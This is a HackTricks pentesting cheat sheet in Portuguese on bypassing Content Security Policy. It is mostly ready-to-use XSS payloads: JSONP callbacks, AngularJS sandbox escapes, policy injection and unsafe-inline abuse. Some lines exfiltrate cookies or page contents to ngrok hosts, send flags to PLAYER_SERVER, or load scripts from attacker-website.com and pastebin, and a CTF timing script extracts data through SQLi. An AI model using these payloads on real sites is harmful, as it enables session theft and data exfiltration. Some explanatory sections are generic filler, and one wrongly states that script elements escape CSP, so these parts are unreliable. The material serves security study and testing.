hacktricks/pentesting-web/content-security-policy-csp-bypass/README.md

# Bypassando a Política de Segurança de Conteúdo (CSP)

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>

<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>

**HackenProof é o lar de todas as recompensas por bugs de criptografia.**

**Seja recompensado sem atrasos**\
As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento da recompensa. Você receberá a recompensa após a verificação do bug.

**Adquira experiência em pentesting web3**\
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.

**Torne-se uma lenda do hacker web3**\
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.

[**Cadastre-se no HackenProof**](https://hackenproof.com/register) e comece a ganhar com seus hacks!

{% embed url="https://hackenproof.com/register" %}

## O que é CSP

Content Security Policy ou CSP é uma tecnologia integrada ao navegador que **ajuda a proteger contra ataques como cross-site scripting (XSS)**. Ele lista e descreve caminhos e fontes a partir das quais o navegador pode carregar com segurança recursos. Os recursos podem incluir imagens, frames, javascript e muito mais. Aqui está um exemplo de recursos permitidos a serem carregados e executados em linha a partir do domínio local (self) e permitir funções de execução de código em string como `eval`, `setTimeout` ou `setInterval:`

A Política de Segurança de Conteúdo é implementada por meio de **cabeçalhos de resposta** ou **elementos meta da página HTML**. O navegador segue a política recebida e bloqueia ativamente violações à medida que são detectadas.

Implementado por meio de cabeçalho de resposta:
```http
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
Implementado via meta tag:
```markup
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### Cabeçalhos

* `Content-Security-Policy`
* `Content-Security-Policy-Report-Only` Este não bloqueará nada, apenas enviará relatórios (usar em ambiente de pré-produção).

## Definindo recursos

CSP funciona restringindo as origens de onde o conteúdo ativo e passivo pode ser carregado. Ele também pode restringir certos aspectos do conteúdo ativo, como a execução de javascript inline e o uso de `eval()`.
```
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
```
### Diretivas

* **script-src**: Esta diretiva especifica as fontes permitidas para JavaScript. Isso inclui não apenas URLs carregados diretamente em elementos, mas também coisas como manipuladores de eventos de script inline (onclick) e folhas de estilo XSLT que podem acionar a execução de script.
* **default-src**: Esta diretiva define a política para buscar recursos por padrão. Quando as diretivas de busca estão ausentes no cabeçalho CSP, o navegador segue esta diretiva por padrão.
* **Child-src**: Esta diretiva define os recursos permitidos para web workers e conteúdos de frames incorporados.
* **connect-src**: Esta diretiva restringe URLs para carregar usando interfaces como fetch, websocket, XMLHttpRequest.
* **frame-src**: Esta diretiva restringe URLs para frames que podem ser chamados.
* **frame-ancestors**: Esta diretiva especifica as fontes que podem incorporar a página atual. Esta diretiva se aplica a [`<frame>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/frame), [`<iframe>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe), [`<object>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/object), [`<embed>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/embed) ou [`<applet>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/applet). Esta diretiva não pode ser usada em tags e se aplica apenas a recursos não HTML.
* **img-src**: Define as fontes permitidas para carregar imagens na página da web.
* **font-src:** A diretiva especifica as fontes válidas para fontes carregadas usando `@font-face`.
* **manifest-src**: Esta diretiva define as fontes permitidas para arquivos de manifesto de aplicativo.
* **media-src**: Define as fontes permitidas de onde objetos de mídia podem ser carregados.
* **object-src**: Define as fontes permitidas para os elementos \<object>, \<embed> e \<applet>.
* **base-uri**: Define as URLs permitidas que podem ser carregadas usando um elemento.
* **form-action**: Esta diretiva lista os pontos finais válidos para envio de tags.
* **plugin-types**: Define limites nos tipos de mime que uma página pode invocar.
* **upgrade-insecure-requests**: Esta diretiva instrui os navegadores a reescrever os esquemas de URL, alterando HTTP para HTTPS. Essa diretiva pode ser útil para sites com um grande número de URLs antigas que precisam ser reescritas.
* **sandbox**: A diretiva sandbox permite um ambiente restrito para o recurso solicitado, semelhante ao atributo sandbox. Ela aplica restrições às ações de uma página, incluindo a prevenção de pop-ups, a prevenção da execução de plugins e scripts e a aplicação de uma política de mesma origem.

### **Fontes**

* \*: Isso permite qualquer URL, exceto os esquemas `data:`, `blob:` e `filesystem:`.
* **self**: Essa fonte define que o carregamento de recursos na página é permitido a partir do mesmo domínio.
* **data**: Essa fonte permite o carregamento de recursos por meio do esquema de dados (por exemplo, imagens codificadas em Base64).
* **none**: Essa diretiva não permite o carregamento de nada de nenhuma fonte.
* **unsafe-eval**: Isso permite o uso de eval() e métodos semelhantes para criar código a partir de strings. Essa não é uma prática segura incluir essa fonte em nenhuma diretiva. Por esse motivo, ela é chamada de insegura.
* **unsafe-hashes**: Isso permite a ativação de manipuladores de eventos inline específicos.
* **unsafe-inline**: Isso permite o uso de recursos inline, como elementos inline, URLs javascript: inline, manipuladores de eventos inline e elementos inline. Novamente, isso não é recomendado por motivos de segurança.
* **nonce**: Uma lista branca para scripts inline específicos usando um nonce criptográfico (número usado apenas uma vez). O servidor deve gerar um valor de nonce exclusivo cada vez que transmite uma política.
* **sha256-\<hash>**: Lista branca de scripts com um hash sha256 específico.
* **strict-dynamic**: Permite que o navegador carregue e execute novas tags JavaScript no DOM de qualquer fonte de script que tenha sido previamente listada em um valor "nonce" ou "hash".
* **host**: Indica um host, como example.com

## Regras CSP Inseguras

### 'unsafe-inline'
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
Carga de trabalho funcional: `"/><script>alert(1);</script>`

#### self + 'unsafe-inline' via Iframes

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %}
[csp-bypass-self-+-unsafe-inline-with-iframes.md](csp-bypass-self-+-unsafe-inline-with-iframes.md)
{% endcontent-ref %}

### 'unsafe-eval'
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
Carga de trabalho funcional:
```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
### strict-dynamic

Se você de alguma forma conseguir fazer com que um **código JS permitido crie uma nova tag de script** no DOM com seu código JS, porque um script permitido está criando isso, a **nova tag de script será permitida a ser executada**.

### Wildcard (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
Carga de trabalho funcional:
```markup
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
### Falta de object-src e default-src

{% hint style="danger" %}
**Parece que isso não está mais funcionando**
{% endhint %}
```yaml
Content-Security-Policy: script-src 'self' ;
```
Cargas de trabalho funcionais:
```markup
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
```
### Upload de Arquivo + 'self'

#### Descrição

A política de segurança de conteúdo (Content Security Policy - CSP) é uma medida de segurança implementada pelos navegadores para mitigar ataques de injeção de código, como cross-site scripting (XSS) e injetar código malicioso em um site. A CSP permite que os desenvolvedores especifiquem quais fontes de conteúdo são consideradas seguras e quais não são permitidas.

No entanto, em alguns casos, é possível contornar a CSP e fazer o upload de arquivos maliciosos para um site. Isso pode ser feito aproveitando a diretiva 'self' da CSP, que permite que o site carregue recursos apenas de seu próprio domínio.

#### Como funciona

Quando uma CSP é implementada com a diretiva 'self', o navegador só permite que o site carregue recursos (como scripts, estilos e imagens) do próprio domínio. Isso é útil para evitar que recursos externos não confiáveis sejam carregados e executados no contexto do site.

No entanto, se o site permitir o upload de arquivos, é possível contornar a CSP enviando um arquivo malicioso que contenha código JavaScript. Quando o arquivo é carregado no site, o código JavaScript é executado no contexto do domínio do site, permitindo que um atacante execute código arbitrário.

#### Exemplo de bypass

Considere um site que permite o upload de imagens e possui a seguinte CSP:

```
Content-Security-Policy: default-src 'self'
```

Nesse caso, apenas recursos do próprio domínio são permitidos. No entanto, se um arquivo de imagem malicioso contendo código JavaScript for enviado para o site, o código será executado no contexto do domínio do site, ignorando a CSP.

#### Mitigação

Para mitigar esse tipo de bypass da CSP, é importante implementar uma validação adequada dos arquivos enviados pelos usuários. Isso pode incluir a verificação do tipo de arquivo, a análise de metadados e a execução de scanners de segurança para detectar possíveis ameaças.

Além disso, é recomendável adicionar uma camada adicional de segurança, como a análise de conteúdo em tempo real, para identificar e bloquear arquivos maliciosos antes que eles sejam carregados no site.

#### Conclusão

Embora a CSP seja uma medida de segurança eficaz para proteger contra ataques de injeção de código, é importante estar ciente dos possíveis bypasses e implementar as devidas mitigação para garantir a segurança do site. O upload de arquivos é uma área especialmente vulnerável, e os desenvolvedores devem tomar precauções extras ao permitir que os usuários enviem arquivos para seus sites.
```yaml
Content-Security-Policy: script-src 'self';  object-src 'none' ;
```
Se você pode fazer upload de um arquivo JS, você pode contornar essa CSP:

Payload funcional:
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
No entanto, é altamente provável que o servidor esteja **validando o arquivo enviado** e só permitirá que você **envie um tipo específico de arquivo**.

Além disso, mesmo que você consiga enviar um **código JS** dentro de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não será suficiente, pois alguns servidores como o servidor Apache **selecionam o tipo MIME do arquivo com base na extensão** e navegadores como o Chrome **recusarão executar código Javascript** dentro de algo que deveria ser uma imagem. "Felizmente", existem erros. Por exemplo, em um CTF, aprendi que o **Apache não reconhece** a extensão _**.wave**_, portanto, não a serve com um **tipo MIME como audio/\***.

A partir daqui, se você encontrar um XSS e um upload de arquivo e conseguir encontrar uma **extensão interpretada erroneamente**, pode tentar enviar um arquivo com essa extensão e o conteúdo do script. Ou, se o servidor estiver verificando o formato correto do arquivo enviado, crie um poliglota ([alguns exemplos de poliglotas aqui](https://github.com/Polydet/polyglot-database)).

### Pontos de Extremidade de Terceiros + ('unsafe-eval')

{% hint style="warning" %}
Para alguns dos payloads a seguir, **`unsafe-eval` nem é necessário**.
{% endhint %}
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
Carregue uma versão vulnerável do Angular e execute JS arbitrário:
```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Cargas úteis usando Angular + uma biblioteca com funções que retornam o objeto `window` ([confira esta postagem](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):

{% hint style="info" %}
A postagem mostra que você pode **carregar** todas as **bibliotecas** de `cdn.cloudflare.com` (ou qualquer outro repositório de bibliotecas JS permitido), executar todas as funções adicionadas de cada biblioteca e verificar **quais funções de quais bibliotecas retornam o objeto `window`**.
{% endhint %}
```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>



```
#### Explorando o código JS do Google reCAPTCHA

De acordo com [**este relatório de CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves), é possível explorar o [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dentro de uma CSP para executar código JS arbitrário, burlando a CSP:
```html
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
### Pontos de Terceiros + JSONP

#### Introdução

Quando um site implementa uma Política de Segurança de Conteúdo (CSP), ele geralmente restringe quais recursos externos podem ser carregados. Isso é feito para mitigar ataques de injetar código malicioso em um site por meio de recursos externos não confiáveis.

No entanto, em alguns casos, é possível contornar a CSP e carregar recursos de terceiros não autorizados. Um desses métodos é usando JSONP (JSON with Padding).

#### O que é JSONP?

JSONP é uma técnica que permite solicitar recursos de terceiros de um domínio diferente. Ele funciona adicionando um elemento `<script>` à página que faz uma solicitação para um endpoint de terceiros. O servidor de terceiros retorna os dados encapsulados em uma função de retorno de chamada, que é executada pelo navegador.

#### Bypassing CSP com JSONP

Quando uma CSP está em vigor, o navegador bloqueará qualquer solicitação para um recurso externo que não esteja especificado na política. No entanto, o JSONP pode ser usado para contornar essa restrição, pois a solicitação é feita por meio de um elemento `<script>`, que não é afetado pela CSP.

Para explorar essa vulnerabilidade, um atacante pode criar um endpoint JSONP em seu próprio servidor e, em seguida, injetar um elemento `<script>` na página alvo, apontando para esse endpoint. O servidor de terceiros retornará os dados solicitados encapsulados em uma função de retorno de chamada, que pode ser manipulada pelo atacante para obter informações sensíveis.

#### Mitigação

Para mitigar esse tipo de ataque, é recomendado que os desenvolvedores evitem o uso de JSONP e, em vez disso, adotem técnicas mais seguras, como CORS (Cross-Origin Resource Sharing). Além disso, é importante implementar uma CSP adequada que restrinja o carregamento de recursos externos não confiáveis.

#### Conclusão

Embora o JSONP seja uma técnica útil para solicitar recursos de terceiros, ele também pode ser explorado para contornar as políticas de segurança de conteúdo. É essencial que os desenvolvedores estejam cientes dessa vulnerabilidade e adotem medidas adequadas para mitigar os riscos associados.
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Cenários como este, onde `script-src` é definido como `self` e um domínio específico que está na lista de permissões, podem ser contornados usando JSONP. Os pontos de extremidade JSONP permitem métodos de retorno de chamada inseguros, o que permite que um atacante execute XSS. Payload de trabalho:
```markup
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
```

```html
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contém pontos de extremidade JSONP prontos para uso para contornar CSP em diferentes sites.**

A mesma vulnerabilidade ocorrerá se o **ponto de extremidade confiável contiver um redirecionamento aberto**, porque se o ponto de extremidade inicial for confiável, os redirecionamentos também serão confiáveis.

### Bypass de caminho de pasta

Se a política CSP apontar para uma pasta e você usar **%2f** para codificar **"/"**, ainda será considerado dentro da pasta. Todos os navegadores parecem concordar com isso.\
Isso leva a uma possível contornar, usando "**%2f..%2f**" se o servidor decodificar. Por exemplo, se o CSP permitir `http://example.com/company/`, você pode contornar a restrição da pasta e executar: `http://example.com/company%2f..%2fattacker/file.js`

Exemplo online: [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)

### Execução de JS em iframes

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}

### **base-uri** ausente

Se a diretiva **base-uri** estiver ausente, você pode abusar dela para realizar uma [**injeção de marcação pendente**](../dangling-markup-html-scriptless-injection/).

Além disso, se a **página estiver carregando um script usando um caminho relativo** (como `/js/app.js`) usando um **Nonce**, você pode abusar da **tag base** para fazer com que ele **carregue** o script do **seu próprio servidor, alcançando um XSS.**\
Se a página vulnerável for carregada com **httpS**, use um URL httpS na base.
```html
<base href="https://www.attacker.com/">
```
### Eventos do AngularJS

Dependendo da política específica, o CSP bloqueará eventos JavaScript. No entanto, o AngularJS define seus próprios eventos que podem ser usados em vez disso. Quando dentro de um evento, o AngularJS define um objeto especial `$event`, que simplesmente faz referência ao objeto de evento do navegador. Você pode usar esse objeto para realizar uma bypass no CSP. No Chrome, há uma propriedade especial no objeto `$event/event` chamada `path`. Essa propriedade contém uma matriz de objetos que fazem com que o evento seja executado. A última propriedade é sempre o objeto `window`, que podemos usar para realizar uma fuga de sandbox. Passando essa matriz para o filtro `orderBy`, podemos enumerar a matriz e usar o último elemento (o objeto `window`) para executar uma função global, como `alert()`. O código a seguir demonstra isso:
```markup
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
**Encontre outras formas de bypass Angular em** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)

### AngularJS e domínio na lista de permissões
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Se a aplicação estiver usando angular JS e os scripts forem carregados de um domínio permitido. É possível contornar essa política CSP chamando funções de retorno e classes vulneráveis. Para mais detalhes, visite este incrível [repositório](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22) no git.

Cargas úteis funcionais:
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
Outros pontos de execução arbitrária JSONP podem ser encontrados [**aqui**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (alguns deles foram excluídos ou corrigidos)

### Bypass CSP com marcação pendente

Leia [como aqui](../dangling-markup-html-scriptless-injection/).

### 'unsafe-inline'; img-src \*; via XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` significa que você pode executar qualquer script dentro do código (XSS pode executar código) e `img-src *` significa que você pode usar na página qualquer imagem de qualquer recurso.

Você pode contornar essa CSP exfiltrando os dados por meio de imagens (nessa ocasião, o XSS abusa de um CSRF onde uma página acessível pelo bot contém um SQLi e extrai a bandeira por meio de uma imagem):
```javascript
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
```
De: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)

Você também pode abusar dessa configuração para **carregar código JavaScript inserido dentro de uma imagem**. Se, por exemplo, a página permitir o carregamento de imagens do Twitter, você pode **criar** uma **imagem especial**, enviá-la para o Twitter e abusar do "**unsafe-inline**" para **executar** um código JS (como um XSS regular) que irá **carregar** a **imagem**, **extrair** o **JS** dela e **executá-lo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)

### Com Service Workers

A função **`importScripts`** dos service workers não é limitada pelo CSP:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
{% endcontent-ref %}

### Injeção de Política

**Pesquisa:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)

#### Chrome

Se um **parâmetro** enviado por você está sendo **colado dentro** da **declaração** da **política**, então você pode **alterar** a **política** de alguma forma que a torne **inútil**. Você pode **permitir script 'unsafe-inline'** com qualquer um desses bypasses:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
Porque essa diretiva irá **sobrescrever as diretivas script-src existentes**.\
Você pode encontrar um exemplo aqui: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)

#### Edge

No Edge é muito mais simples. Se você puder adicionar no CSP apenas isso: **`;_`** o **Edge** irá **descartar** toda a **política**.\
Exemplo: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)

### img-src \*; via XSS (iframe) - Ataque de tempo

Observe a falta da diretiva `'unsafe-inline'`\
Desta vez, você pode fazer a vítima **carregar** uma página sob **seu controle** via **XSS** com um `<iframe>`. Desta vez, você fará com que a vítima acesse a página de onde deseja extrair informações (**CSRF**). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder **controlar o tempo que a página precisa para carregar**, poderá extrair as informações necessárias.

Desta vez, uma **flag** será extraída, sempre que um **caractere for adivinhado corretamente** através do SQLi, a **resposta** levará **mais tempo** devido à função de sleep. Em seguida, você poderá extrair a flag:
```javascript
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>
```
### Via Bookmarklets

Esse ataque implicaria em alguma engenharia social onde o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Esse bookmarklet conteria **código javascript malicioso** que, quando arrastado e solto ou clicado, seria executado no contexto da janela web atual, **burlando a CSP e permitindo roubar informações sensíveis** como cookies ou tokens.

Para mais informações, [**verifique o relatório original aqui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).

### Bypassando CSP restringindo CSP

Neste [**writeup do CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), a CSP é burlada injetando dentro de um iframe permitido uma CSP mais restritiva que impedia o carregamento de um arquivo JS específico que, em seguida, por meio de **poluição de protótipo** ou **dom clobbering**, permitia **abusar de um script diferente para carregar um script arbitrário**.

Você pode **restringir uma CSP de um Iframe** com o atributo **`csp`**:

{% code overflow="wrap" %}
```html
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
{% endcode %}

Neste [**writeup do CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível, através de **injeção de HTML**, **restringir** ainda mais um **CSP**, desabilitando um script que impedia CSTI e, portanto, tornando a **vulnerabilidade explorável**.\
CSP pode ser tornada mais restritiva usando **meta tags HTML** e scripts inline podem ser desabilitados **removendo** a **entrada** que permite seu **nonce** e **habilitando scripts inline específicos via sha**:
```html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
```
### Exfiltração de JS com Content-Security-Policy-Report-Only

Se você conseguir fazer com que o servidor responda com o cabeçalho **`Content-Security-Policy-Report-Only`** com um **valor controlado por você** (talvez por causa de um CRLF), você pode fazer com que ele aponte para o seu servidor e, se você **envolver** o **conteúdo JS** que deseja exfiltrar com **`<script>`**, e como é altamente provável que `unsafe-inline` não seja permitido pelo CSP, isso irá **disparar um erro CSP** e parte do script (contendo as informações sensíveis) será enviada para o servidor a partir de `Content-Security-Policy-Report-Only`.

Para um exemplo, [**verifique este writeup do CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).

### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
```
### Vazamento de Informações CSP + Iframe

Imagine uma situação em que uma **página está redirecionando** para uma **página diferente com um segredo dependendo** do **usuário**. Por exemplo, o usuário **admin** acessando **redirectme.domain1.com** é redirecionado para **adminsecret321.domain2.com** e você pode causar um XSS no admin.\
**Além disso, as páginas redirecionadas não são permitidas pela política de segurança, mas a página que redireciona é.**

Você pode vazar o domínio para onde o admin é redirecionado através de:

* **violação de CSP**
* **regras de CSP.**

A violação de CSP é um vazamento instantâneo. Tudo o que precisa ser feito é carregar um iframe apontando para `https://redirectme.domain1.com` e ouvir o evento `securitypolicyviolation` que contém a propriedade `blockedURI` contendo o domínio do URI bloqueado. Isso ocorre porque o `https://redirectme.domain1.com` (permitido pelo CSP) redireciona para `https://adminsecret321.domain2.com` (**bloqueado pelo CSP**). Isso faz uso de um comportamento indefinido de como lidar com iframes com CSP. Chrome e Firefox se comportam de maneira diferente em relação a isso.

